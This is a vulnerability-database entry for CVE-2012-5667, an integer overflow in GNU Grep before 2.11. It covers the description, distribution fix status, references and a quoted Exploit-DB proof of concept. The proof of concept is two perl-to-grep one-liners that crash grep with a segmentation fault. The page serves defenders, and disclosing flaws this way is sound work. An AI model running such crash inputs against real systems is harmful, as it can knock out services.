CVE-2012-5667
Description
Multiple integer overflows in GNU Grep before 2.11 might allow context-dependent attackers to execute arbitrary code via vectors involving a long input line that triggers a heap-based buffer overflow.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Grep < 2.11 - Integer Overflow Crash (PoC)
Grep <2.11 is vulnerable to int overflow exploitation.
http://lists.gnu.org/archive/html/bug-grep/2012-03/msg00007.html
Although it is patched in the recent Grep,
This update has not been pushed to the Ubuntu repos, or the Redhat
repos, leaving 99% of those OS's(and more) vulnerable.
There are also many other ways to do this bug.
It is low severity because it would be extremely hard to actually
exploit it, and it is a local exploit, and it is not run by root.
Found By: Security Researcher - Joshua Rogers
More:
https://bugzilla.redhat.com/show_bug.cgi?id=889935
https://bugs.launchpad.net/ubuntu/+source/grep/+bug/1091473
http://seclists.org/oss-sec/2012/q4/504
etc.
#There are many ways of doing this.
#Method one:
$ perl -e 'print "x"x(2**31)' | grep x > /dev/null
Segmentation fault (core dumped)
#Method two:
$ perl -e 'print "\nx"x(2**31)' | grep -c x > /dev/null
Twitter: https://twitter.com/MegaManSec
CVE: CVE-2012-5667
--
*Joshua Rogers* - Retro Game Collector && IT Security Specialist
gpg pubkey <http://www.internot.info/docs/gpg_pubkey.asc.gpg>
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.11-1 |
| sid | Fixed | 2.11-1 |
| forky | Fixed | 2.11-1 |
| bullseye | Fixed | 2.11-1 |
| bookworm | Fixed | 2.11-1 |
References
- http://git.savannah.gnu.org/cgit/grep.git/commit/?id=8fcf61523644df42e1905c81bed26838e0b04f91
- http://git.savannah.gnu.org/cgit/grep.git/commit/?id=cbbc1a45b9f843c811905c97c90a5d31f8e6c189
- http://git.sv.gnu.org/gitweb/?p=grep.git%3Ba=shortlog%3Bh=v2.11
- http://lists.gnu.org/archive/html/bug-grep/2012-12/msg00004.html
- http://openwall.com/lists/oss-security/2012/12/22/6
- http://rhn.redhat.com/errata/RHSA-2015-1447.html
- http://www.securityfocus.com/bid/57033
- https://bugs.launchpad.net/ubuntu/+source/grep/+bug/1091473
- https://bugzilla.redhat.com/show_bug.cgi?id=889935
- https://security-tracker.debian.org/tracker/CVE-2012-5667
CWEs
CWE-189
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.